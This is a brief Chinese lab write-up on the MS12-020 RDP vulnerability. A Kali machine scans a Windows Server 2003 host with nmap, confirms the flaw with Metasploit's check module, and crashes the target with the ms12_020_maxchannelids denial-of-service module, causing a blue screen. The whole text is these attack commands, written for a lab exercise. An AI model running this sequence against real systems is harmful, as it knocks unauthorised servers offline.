一、实验环境

windows server 2003（受害方）

kali linux（攻击方）

二、实验步骤

1.输入nmap -R 192.168.1.3可以看到目标服务器上开启了3389服务。

2.输入msfconsole命令，启动msf。

3. 输入search ms12-020查找该漏洞攻击脚本。

4.使用ms12-020检测脚本，输入use auxiliary/scanner/rdp/ms12_020_check，输入show options查看设置。

5.输入set rhosts 192.168.1.3设置目标，输入run运行，可以看到存在这个漏洞。

6.输入use auxiliary/dos/windows/rdp/ms12_020_maxchannelids使用dos脚本，输入show options查看设置。

7.输入set rhosts 192.168.1.3设置目标，输入run运行，可以看到攻击成功，目标机器蓝屏后自动重启。